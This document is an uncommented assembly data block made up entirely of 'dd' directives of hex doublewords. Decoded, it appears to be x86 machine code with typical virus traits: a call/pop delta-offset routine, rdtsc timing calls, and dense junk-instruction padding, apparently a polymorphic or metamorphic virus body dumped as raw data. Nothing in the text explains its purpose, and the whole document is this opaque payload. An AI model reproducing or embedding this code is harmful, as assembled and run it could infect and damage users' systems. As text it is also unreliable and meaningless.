		dd 6105E731h, 81858Bh, 6A05E7h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 8985BCC3h, 482400D2h
		dd 6A068972h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0F105C352h, 0B58B60F5h, 5E72DE9h
		dd 10850Fh, 0AE80000h, 0A7000000h, 1D64B21h, 9EC951B0h
		dd 8B6158DCh, 0E7072D85h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0B4AC1034h
		dd 446891Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	48C35747h, 0C98D8957h, 5B05E72Dh, 0D88B5396h, 5250505Fh
		dd 310F8FB3h, 5ADE8B66h, 0B70F9658h, 0E78166D9h, 0B5FF44AFh
		dd 5EAA348h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	4AC35040h, 0BD05CBAFh, 21BD8BFEh, 0E805E722h, 4
		dd 1F03FFh, 7BB6651h, 8B505BF1h, 24448BDFh, 4ABB6604h
		dd 52008B3Ch, 3830Fh, 8B660000h, 44895BD9h, 18BB0424h
		dd 5808EED8h, 32B99D89h, 858D05E7h, 5EAA350h, 15318589h
		dd 509005E7h, 0DF8B6652h, 5250310Fh, 0AE8h, 252BA100h
		dd 8E4326A9h, 5FA0D40Ch, 0A8BB310Fh, 5A43853Eh,	50585A58h
		dd 0FBBF0F90h, 20E595FFh, 8D2905E7h, 5E70D7Dh, 0DA8B6661h
		dd 0C9985C7h, 305E7h, 0B70F0000h, 0F28B60F8h, 0C1DBD23h
		dd 836105E7h, 0EAA350BDh, 840F0005h, 31h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Bh, 2BC35343h, 1E3DEF5Dh
		dd 89A9ECDAh, 0E716419Dh, 1EE905h, 0B70F0000h, 0C3050FBh
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F7C35242h, 0D876BD4Dh
		dd 0B39153BDh, 820FFE8Bh, 6, 0AA19D89h,	0BD8305E7h, 5E70C99h
		dd 0E9850F03h, 6A000003h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0AE2CC352h,	497369D3h
		dd 6A41E9EFh, 0BD83DF8Bh, 5EAA350h, 0B5840F00h,	66000003h
		dd 0B5FFDE8Bh, 5EAA350h, 8E86052h, 95000000h, 0D135CD9Ch
		dd 580625C6h, 61CA8B66h, 6995FF5Bh, 6A05E72Dh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0C47DC356h, 0BB7094B5h, 70CD8E54h, 0B58BD98Ah, 5EAA344h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 47C35545h
		dd 1DEDC057h, 106C7h, 6A0001h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0C70800C3h, 0A2DD8D0Fh
		dd 14E996h, 0BF9C0000h,	733CE014h, 7263BEB2h, 2F17C4A7h
		dd 0DC3476E1h, 0BF5072C5h, 4C56AEh, 0B5FFF896h,	5EAA350h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 15C35747h
		dd 0DC521BEAh, 0BA08DF81h, 8166116Fh, 0FF5384C3h, 0E7247D95h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0B58B110Fh, 5EAA344h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 63C35646h, 34E13D78h
		dd 0E2F2CB81h, 0BD8B5B11h, 5E701F9h, 858BDA8Bh,	5E703CDh
		dd 8689D88Bh, 0C4h, 10E9h, 92E1F300h, 25326681h, 1EE1C7CAh
		dd 78D38F56h, 15958B0Dh, 0E905E723h, 5,	69B8FE20h, 4C283BAh
		dd 2E3DBD33h, 12E805E7h, 3E000000h, 977456B5h, 0F33D422Ch
		dd 282A5613h, 2067B69Dh, 15BD095Fh, 5B05E713h, 6A205089h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 418C352h,	0AAE7E91Dh, 66B716DEh, 0B732858Dh
		dd 8D0F05EAh, 5, 611ED8BBh, 0B8868931h,	8B000000h, 0E716F5BDh
		dd 66006A05h, 204BF381h, 0A350B5FFh, 6A05EAh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0F2F978C3h
		dd 60EB3224h, 26B98529h, 0FF6105E7h, 0E7004195h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 50493BFCh, 48A0Fh, 0BF660000h, 3489153Dh, 50B5FF24h
		dd 6605EAA3h, 9916F381h, 2A0995FFh, 8B6605E7h, 0F9BD83D8h
		dd 5E704h, 62840Fh, 0BB660000h,	519696E8h, 0BE956h, 74860000h
		dd 0F727BC7h, 9527608Eh, 505F5B58h, 6A96CCB7h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 3566C352h, 162FF63Ch, 1D830F87h, 0E8000000h,	11h, 0F61A0EA7h
		dd 0F96E6BADh, 0EBBC7758h, 292BF56Dh, 0ADBD8BA3h, 5B05E72Eh
		dd 0A350B5FFh, 9D8B05EAh, 5E71C31h, 71D95FFh, 895205E7h
		dd 0E70F1DBDh, 0B5FF5B05h, 5EAA350h, 0CC595FFh,	0BD0905E7h
		dd 5E7123Dh, 25CDBD83h,	0F0205E7h, 7B84h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 837FD023h, 0B9958B60h, 0E905E732h, 14h, 244F6066h, 517CEDB9h
		dd 85BB397Dh, 7B79121Eh, 0C44DDC3Ch, 51858B61h,	6A05E706h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0B86AC350h, 26EFA0B5h, 8B664FB9h,	69BD89FAh
		dd 0C605E715h, 85310000h, 5E707A1h, 0DFD85C7h, 5E7h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 424191C3h, 0F78E9C40h, 0BFA31F73h, 28194A80h, 0FFF3B6E9h
		dd 59D03FFh, 8B05E715h,	50006AC1h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 11A0B9Ch, 1AF9858Dh, 0B58905E7h
		dd 5E71741h, 89D98B50h,	8B662404h, 6A006AD9h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0F5A2C353h, 0C522108Ah, 0D39BD89h, 6A05E7h, 8DF8B70Fh
		dd 0EB464D85h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 324FDE75h, 933FBB66h
		dd 6A05C083h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 5EC4C353h, 5231D8BAh, 13E9h, 88514100h
		dd 9B8F2EB1h, 5800F6F7h, 0FDBDAAE4h, 0A89C9A9Fh, 8D0F505Fh
		dd 3, 89F98B66h, 9D092404h, 5E71F6Dh, 8589006Ah, 5E71B69h
		dd 8B66006Ah, 0C595FFFAh, 6A05E702h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 61E2C350h
		dd 11E8A1h, 3F10000h, 701F8A6Ah, 13823504h, 0AB1EDC57h
		dd 666150AEh, 1525E781h, 258D295Fh, 8D05E71Bh, 0EA95148Dh
		dd 6E905h, 765C0000h, 293AE779h, 6AD1FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BD8312C3h
		dd 5E707F1h, 77850F01h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0CC3CC355h
		dd 6A026AF8h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0FD3BC352h, 1D88A3Dh, 0E703118Dh
		dd 8B669005h, 0DA8B50DFh, 95FFFC90h, 5E70041h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0D4C35646h, 1B59BD89h
		dd 6AE905E7h, 0E800000Dh, 0
		dd 57ED815Dh, 8A05EB46h, 11E8D8h, 0FEE30000h, 9DBC3119h
		dd 30CEB762h, 0A14A4DB2h, 577DD362h, 0B1ADF781h, 5F5B4877h
		dd 8F5B858Dh, 9D8905EAh, 5E72731h, 0C880F50h, 50000000h
		dd 32BF6652h, 0B3310FA4h, 89585ADBh, 6A2404h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 64DD16C3h
		dd 35FFh, 53600000h, 5BECC080h,	0D8D23h, 646105E7h, 2589h
		dd 9D8B0000h, 5E71579h,	1CE185FFh, 0D6BF05E7h, 0F559E37Ch
		dd 0BB66FF6Ah, 0B5FFD078h, 5E71575h, 1C959D03h,	95FF05E7h
		dd 5E729C1h, 129E9h, 0B0DA8B00h, 799D0300h, 0E605E72Ah
		dd 0C5B58970h, 8B05E705h, 6071E4DEh, 35D9533h, 10E905E7h
		dd 0C000000h, 2F6391A3h, 634CD21Dh, 876CA238h, 61C80BDAh
		dd 830F613Ch, 0EEh, 0EE9h, 0DAEE5C00h, 69B9E89Ch, 981E4BE9h
		dd 0F8E93BDh, 9D89C8B6h, 5E71355h, 6BAh, 0C81ABF00h, 0C18B602Bh
		dd 6840Fh, 0B5010000h, 5E7085Dh, 8904E8C1h, 0E70C8D8Dh
		dd 0E2F76605h, 89C82BF5h, 0E7020D85h, 0E8D18B05h, 7, 45BD8207h
		dd 0F8FA1D87h, 6E95Bh, 0B5290000h, 5E704C9h, 0CF1858Bh
		dd 9D8905E7h, 5E7163Dh,	6607C083h, 839BD5BFh, 0BD2900C0h
		dd 5E703ADh, 830FD03Bh,	12h, 1CF6BF66h,	5DE9h, 3870F00h
		dd 0F000000h, 8D8BDBBFh, 5E727D9h, 0AE9h, 926F8300h, 889B722Fh
		dd 666DE0ABh, 83296BBFh, 840F01E1h, 32h, 83F88B66h, 0E727D9A5h
		dd 0BD8BFE05h, 5E72BADh, 6E9h, 0E65ED800h, 89F65BF7h, 0E70CF195h
		dd 359D8B05h, 8905E704h, 0E7174D8Dh, 0E905h, 0B58D0000h
		dd 5EAC2C6h, 6AD98B66h,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 18FE8083h, 0FC2EB6Bh
		dd 0C87h, 7E900h, 0FFC0000h, 0F32AE368h, 1D95FF96h, 6605E71Ah
		dd 49B9F88Bh, 6A00000Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0C602C357h,	84EFAE10h
		dd 0CE884h, 9C230000h, 23D6ADC3h, 542036ADh, 8D89439Ah
		dd 5E70375h, 0FCE1835Bh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 4DC35545h, 0DDBD29FCh, 0B805E71Ch, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 3EC35747h
		dd 80D98B66h, 0D22B74DFh, 38C0F57h, 66000000h, 0F5BD98Bh
		dd 1086h, 0BE900h, 4E110000h, 0E2CD433Bh, 0A2640AD6h, 0C233ADE0h
		dd 0D003E8D1h, 7504E983h, 50006AF4h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0DC6972C5h
		dd 6102F9E8h, 0A1B52941h, 6A05E72Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0EB0EC356h
		dd 5E64CE7h, 6E9AAh, 4E080000h,	6130F36Ch, 3840Fh, 0BF0F0000h
		dd 880DDBh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 150424h, 56460000h, 8B828FC3h, 0E72E99BDh, 0BDB7BF05h
		dd 958B0B4Eh, 5E72315h,	13659D8Bh, 8D8B05E7h, 5E708B9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B7C35747h
		dd 50FA8B66h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 57006A58h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0FEDB119h, 584h,	53A5BF00h, 0BD8333E9h
		dd 5E7211Dh, 31840F00h,	0B8000000h, 0
		dd 4DFA8D8Dh, 0E78105E7h, 23C278FFh, 6AE1FFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0F8A535C3h
		dd 0C99BD83h, 0F0005E7h, 44584h, 13E900h, 59A0000h, 5EA3A396h
		dd 0B286DC5Fh, 38C9F333h, 828F9FD8h, 9CBF66F5h,	99BD8388h
		dd 105E70Ch, 437840Fh, 0B70F0000h, 99BD83FEh, 305E70Ch
		dd 3F1860Fh, 0F88B0000h, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0C1BD8B11h, 6605E703h
		dd 8C66DA8Bh, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 34538A76h, 6630C2DBh, 816635B3h
		dd 0FDD94E3h, 68Ah, 459D8B00h, 8005E706h, 1CBB04E1h, 0A0F345Eh
		dd 6B840FC9h, 0E8000001h, 0Ah, 0C85ADBACh, 50D749EBh, 8E0F4430h
		dd 1Ah,	14E8h, 7B848400h, 9FA49419h, 0E9F098FBh, 20FC8D7Ch
		dd 2C30881Ah, 8B5F5B05h, 0E7072D85h, 33FB8B05h,	0E72E8185h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0F87080F5h, 89DF8B50h, 6A2404h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0E5C1ABC3h, 0EE4BB91h, 0FE8A5214h, 6A006Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0AD4EABC3h, 566C03F3h, 22A99D03h, 4E805E7h, 0FF000000h
		dd 0B3001F03h, 525050EAh, 8B0F60h, 50000000h, 5A310F52h
		dd 310F6158h, 7E9h, 0E828EF00h,	0E0F1BB55h, 448B585Ah
		dd 27BB0424h, 8B57D795h, 8B666000h, 448961F7h, 0EE90424h
		dd 95000000h, 7C9AFF3Ah, 7FB40654h, 2F0C3787h, 9D8B584Ch
		dd 5E727D5h, 20E595FFh,	6A05E7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 39EEEDC3h, 50858996h
		dd 6A05EAA3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0B8ECC351h, 0E9F9BF0Fh, 181h
		dd 7DBD8B51h, 5F05E708h, 2C099D8Bh, 858B05E7h, 5EAA348h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0CDC35646h
		dd 0A906F31Ah, 0DF0AD381h, 0CF8166A6h, 0C7D1F7h, 18h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0B9C35343h, 6410DC31h
		dd 1F69B589h, 0B58B05E7h, 5EAA34Ch, 8BFAB70Fh, 0E7008185h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 6A75FDC3h, 930976ACh, 9D8B605Ah,	5E726CDh
		dd 3175BD89h, 896105E7h, 6820F06h, 81000000h, 50A48AC3h
		dd 2D858B68h, 0F05E707h, 8Bh, 4468900h,	0D2816660h, 0B58BCEECh
		dd 5E71CD1h, 8B665061h,	243489FEh, 0AB2278BFh, 48B5FF02h
		dd 0F05EAA3h, 686h, 5DB50900h, 0E905E70Ch, 0Dh,	0C9F42F84h
		dd 0F2D875BBh, 30983BCDh, 329B681Ch, 13B337EDh,	64243481h
		dd 6637F231h, 8DD72DBFh, 0EAA35085h, 0DBB70F05h, 0CABF6650h
		dd 24048976h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 15h,	0E4C35646h, 0D8BF0FDDh,	9E9h, 0D0E77F00h, 0A130B393h
		dd 95FF98C8h, 5E720E5h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 15C35646h, 8DBDFADDh,	0D1600813h, 6A61CBh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E87107C3h, 5, 0F3AB695Bh, 0D9D29C1h, 5B05E706h, 0C9985C7h
		dd 305E7h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 471F77C3h, 76C0FA0Eh, 198D01C5h
		dd 8305E70Dh, 0EAA350BDh, 840F0005h, 33h, 5B58960h, 8005E707h
		dd 0E9618FDBh, 3Eh, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0BAC35545h, 5E53D47Dh, 50BD1A0Fh, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 0CF80C08Bh
		dd 4810F7Ch, 66000000h,	83F32DBFh, 0E70C99BDh, 850F0305h
		dd 449h, 2BD9B529h, 0BD8305E7h,	5EAA350h, 36840F00h, 6A000004h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 7A44C350h, 0FF341E4Fh, 0EAA350B5h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 95FFDC31h, 5E72D69h,	241B589h, 0B58B05E7h, 5EAA344h
		dd 821BD23h, 6C705E7h, 10001h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0BDC35343h,	82D4E6BDh, 96F9C4BCh
		dd 2BECA8BFh, 14E95038h, 72000000h, 5965A00Bh, 5D15B5A7h
		dd 259A8EA9h, 0DE33AF62h, 960B773Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 1CC35040h, 8B02D994h, 50B5FFFBh
		dd 6605EAA3h, 8BC36BBBh, 0E72C99BDh, 7D95FF05h,	6A05E724h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 3CA5C352h, 0E9823AC6h, 0Eh, 0DE2AB413h, 3EEAB696h
		dd 5C0E9114h, 10E9EA35h, 0B4000000h, 0B64A10A2h, 6BD5F1F6h
		dd 9FD24E76h, 8BF86019h, 0EAA344B5h, 0EF816605h, 8D899157h
		dd 5E70E3Dh, 3CD858Bh, 810F05E7h, 4, 61616060h,	0C48689h
		dd 0BD8B0000h, 5E72A41h, 2315958Bh, 6A05E7h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 54394CC3h
		dd 0F23C51ADh, 178B0Fh,	0BE80000h, 0DB000000h, 724615F4h
		dd 365B376Ch, 95293756h, 5E70E3Dh, 4C2835Fh, 26658D09h
		dd 508905E7h, 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 9B3C481Eh, 20A224E2h, 6880Fh, 0B5290000h
		dd 5E7024Dh, 858DD98Bh,	5EAB732h, 0F28B6660h, 5810Fh, 0ABE0000h
		dd 617CB111h, 0B88689h,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0B30E70C3h, 0A7E381A5h
		dd 6A711F27h, 0FA8B6600h, 0A350B5FFh, 9D8905EAh, 5E722EDh
		dd 4195FFh, 6A05E7h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 150424h, 53430000h, 50B217C3h, 6A243489h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 408AC356h, 2B5F0314h, 0A350B5FFh, 6A05EAh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0B58913C3h
		dd 5E715E9h, 2A0995FFh,	0BF6605E7h, 0BD83B80Ah,	5E704F9h
		dd 86840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 1F49C356h, 13E9h, 1E3C9D00h
		dd 0A63E6C0Bh, 0C003E7C8h, 1421A6D9h, 0E04731F2h, 0C880F96h
		dd 0F000000h, 685h, 810F00h, 50000000h,	5E8h, 903C0F00h
		dd 0AEBBD5F7h, 5F3E9FB4h, 53006A96h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0C311A559h, 0F8858510h, 3DD1CB81h, 8B6640DEh
		dd 50B5FFF8h, 6A05EAA3h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0E492C355h,	938D464h
		dd 0E7061185h, 1D95FF05h, 6A05E707h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F9ECC355h
		dd 0A350B5FFh, 816605EAh, 0FF05B6CBh, 0E70CC595h, 1DBD8B05h
		dd 8905E703h, 0E71CADBDh, 0CDBD8305h, 205E725h,	5D840Fh
		dd 0BFC0000h, 0E715C1BDh, 51858B05h, 6A05E706h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 8B66C351h, 6830FE5h,	8B000000h, 0E70509BDh, 0A5BD8905h
		dd 0C605E721h, 11E80000h, 92000000h, 86AB764Eh,	2041FF47h
		dd 7834F269h, 15F750F4h, 12BD9D8Bh, 0C75F05E7h,	0E70DFD85h
		dd 5, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 92CB96FDh, 14B01EF3h, 0F38EE9B3h
		dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 3A045FC3h, 0AA9F0D28h, 8B661BE6h,	6AC18BFEh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0B2E9C357h, 1525EACh, 0FE914h, 0EFB20000h
		dd 0AFD51D58h, 60C12CECh, 0F6493810h, 0F9858D92h, 5105E71Ah
		dd 2C98589h, 895B05E7h,	0E725618Dh, 77B79005h, 52506050h
		dd 0FD68B66h, 5A585231h, 6800F58h, 0F000000h, 89h, 8B906100h
		dd 0E70375BDh, 6A006A05h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 343EC352h, 0FA8B6684h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 4A0A4C3h,	9A4BB565h, 8DEBFBF0h, 0EB556A85h
		dd 0DC1EBF05h, 0C0836767h, 71CB8105h, 507E5129h, 0BBC2B960h
		dd 89615056h, 81662404h, 6ADF32D3h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 6A7383h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 96C35747h, 95FF2CEEh
		dd 5E702C5h, 1923BF66h,	95148D8Dh, 605305EAh, 30D1BD23h
		dd 816605E7h, 6128CAD9h, 6AD1FF5Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 99D6C355h
		dd 5941D68Bh, 142982FBh, 7F1BD83h, 0F0105E7h, 7685h, 6A026A00h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 303BC353h, 8D099D99h, 5E72E19h, 89FE8B50h
		dd 0BF0F2404h, 12E9F9h,	53FE0000h, 0C2A27EA8h, 0D17EC9F1h
		dd 46A8EB59h, 58A26CEFh, 4195FFh, 6A05E7h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 104434C3h
		dd 0BF0FC1DCh, 0E99D8BD8h, 0E905E706h, 0E45h, 0E8h, 0ED815D00h
		dd 5EB5574h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0EAC35747h, 3D1ED6DEh, 9E9h, 3D538900h,	0A505031Ah
		dd 858DB935h, 5EA8F5Bh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0A6C35141h, 0B9F38166h, 0B760508Eh, 489619Eh
		dd 0BE924h, 5C0C0000h, 2BBDA0F3h, 46113E31h, 35FF64B6h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0B5C35040h
		dd 337646D1h, 0FE977h, 328C0000h, 0B54274E3h, 0E4BF2C42h
		dd 5F1EA8F3h, 2589649Ch, 0
		dd 0E4A935BBh, 0E185FF12h, 6A05E71Ch, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 218BC352h
		dd 93348B07h, 10E8D7h, 0EC520000h, 17CA55E1h, 0EDB797E5h
		dd 83B52DFAh, 0BF669C7Fh, 6A5FC042h, 0FFD98BFFh, 0E71605B5h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0B771EACBh, 0EDDA9997h, 880F5Fh,	0FF000000h
		dd 0E729C195h, 10DE905h, 0FE80000h, 58000000h, 387EFEEEh
		dd 640DB737h, 1A8CC25Fh, 896033DCh, 0E70E5585h,	0E1F48005h
		dd 8D895F61h, 5E707E9h,	8C0F00B0h, 6, 16619D89h, 8B6605E7h
		dd 2370E6FBh, 0E7206DBDh, 800F05h, 0E4000000h, 81666071h
		dd 0B42F50C6h, 0D7816173h, 2899CE6Fh, 830F613Ch, 0AFh
		dd 0C8B60FFCh, 0F7816656h, 0F85BA729h, 6BAh, 8BC18B00h
		dd 0CF8166D9h, 0E8C1CBC5h, 0A59D3304h, 6605E720h, 0BF0FE2F7h
		dd 8BC82BDEh, 619D8BD1h, 0E905E732h, 0Ch, 7E9h,	0B6FA8C00h
		dd 1897F0A6h, 1BA1858Bh, 0BD8B05E7h, 5E70185h, 0F07C083h
		dd 68Bh, 65958900h, 8305E70Dh, 0BF0F00C0h, 0FD03BDFh, 1783h
		dd 38B0F00h, 0F000000h,	34E9F8B7h, 0F000000h, 385h, 0FE8B6600h
		dd 25A18D8Bh, 83F905E7h, 840F01E1h, 1Bh, 8375CB80h, 0E725A1A5h
		dd 8B66FE05h, 0A19589D8h, 0F05E71Bh, 0E9FFB7h, 8D000000h
		dd 0EAD2E7B5h, 0DAD78105h, 6A40EB1Fh, 0A183BB00h, 95FF6C6Ch
		dd 5E71A1Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	60C35545h, 880FD2CFh, 5, 5F50F560h, 9ECB961h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0CF8158C3h, 14D0CC51h, 6AFCE183h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0BA0DC355h
		dd 2A4D92F5h, 8A47AB3Dh, 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0EA3775A8h, 904EA4A5h
		dd 8BC02BA9h, 0E719C1BDh, 0BA05h, 0BF0F0000h, 8D9D0BFAh
		dd 0AD05E707h, 0E8D1C233h, 0E983D003h, 23F47504h, 0E703ED9Dh
		dd 0F9BD8B05h, 6A05E71Ch, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0D0A1C357h,	8E9CDh
		dd 88700000h, 0B3D5C9E6h, 0AE932D2h, 0C1000000h, 79111BFFh
		dd 0E726838h, 880D3Fh, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 92E96EC3h, 0BFB860D9h
		dd 18B6AD7Bh, 2315958Bh, 0F6005E7h, 148Dh, 0EE800h, 5000000h
		dd 8F4E7DC4h, 0F12583BBh, 0D08338AAh, 6160605Ah, 2F399589h
		dd 616105E7h, 8B98D8Bh,	6A05E7h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0F426D0C3h, 248AC176h
		dd 0AADB8166h, 0C28B5027h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 0F58188Bh, 0B589FBB7h, 5E70BB5h, 13E8h, 0FAD37100h
		dd 0DF0735D3h, 71D021Dh, 67835DB7h, 2C2AB227h, 3319D8Bh
		dd 835F05E7h, 0E7211DBDh, 840F0005h, 71h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ah, 84C35141h, 0E637918Fh
		dd 0BD8B424Eh, 5E70699h, 0B8FD8Ah, 8B000000h, 0E73199BDh
		dd 6850F05h, 8B000000h,	0E72791BDh, 0FA8D8D05h,	6A05E74Dh
